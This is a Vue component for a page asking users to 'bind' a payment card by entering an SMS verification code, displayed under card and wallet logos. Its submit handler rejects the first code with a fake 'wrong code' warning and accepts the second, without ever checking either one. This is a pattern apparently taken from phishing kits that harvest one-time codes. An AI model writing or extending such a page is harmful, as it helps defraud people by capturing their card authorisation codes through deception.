<template>
  <div class="content">
    請綁定您的支付卡號以繼續
    <p class="tip">輸入發送至您號碼的驗證碼，完成綁定卡</p>
    <BaseForm :fields="[
      {
        label: '',
        key: 'verify',
        props: {
          placeholder: '輸入驗證碼',
          rules: [
            {
              required: true,
              message: '輸入驗證碼',
            },
          ],
        },
      },
    ]" ref="formInstance">
      <!-- <BaseButton label="綁定支付" :InputStyle="{
        fontWeight: 600,
        width: '50%',
      }" style="margin-top: 15px" @submit="onSubmit"></BaseButton> -->

      <div @click="onSubmit" class="text-center"> <input class="button" type="submit" value="提交">
      </div>
    </BaseForm>
    <hr style="
        width: 100%;
        height: 1px;
        border: none;
        background-color: #cdcdcd;
        margin: 0 auto;
        max-width: 500px;
        margin: 22px 0;
      " />
    <div class="icon-container">
      <img class="icon" :src="getImage(item)" alt="" v-for="item in list" />
    </div>
  </div>
</template>

<script setup lang="ts">
import BaseForm from "@/components/BaseForm.vue";
import { ref } from "vue";
import { showNotify } from "vant";
import "vant/es/notify/style";
import router from "@/router";
const formInstance = ref<InstanceType<typeof BaseForm> | null>(null);
const list = ["visa", "mastercard", "amex", "apple", "google", "samsung"];
const getImage = (value: string) => {
  return new URL(`../assets/${value}.svg`, import.meta.url).href;
};
let index = 0;
const onSubmit = () => {
  formInstance.value
    ?.onSubmit()
    .then((data) => {
      console.log("success", data);
      if (index === 0) {
        showNotify({
          type: "warning",
          message: "您的验证码有误",
        });
        index++;
      } else {
        router.push("/result");
      }
    })
    .catch(() => {
      console.log("error");
    });
};
</script>

<style lang="scss" scoped>
.content {
  color: rgb(128, 128, 128);
  padding: 40px 15px 30px 15px;
  margin-top: 60px;
}

.tip {
  background-color: aliceblue;
  color: #686868;
  width: 90%;
  margin: 10px auto 16px auto;
  text-align: center;
}

.icon {
  width: 68px;
  height: 48px;
  margin-right: 10px;
}

.icon-container {
  margin-bottom: 0px;
  padding: 7px 0;
  font-size: 20px;
  width: 100%;
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
}

.button {
  display: inline-block;
  background-color: #141414;
  color: #fff;
  font-weight: 700;
  border: none;
  border-radius: 5px;
  padding: 8px 50px;
  box-shadow: 0 0 4px rgba(128, 128, 128, .5);
  align-self: center;
}
</style>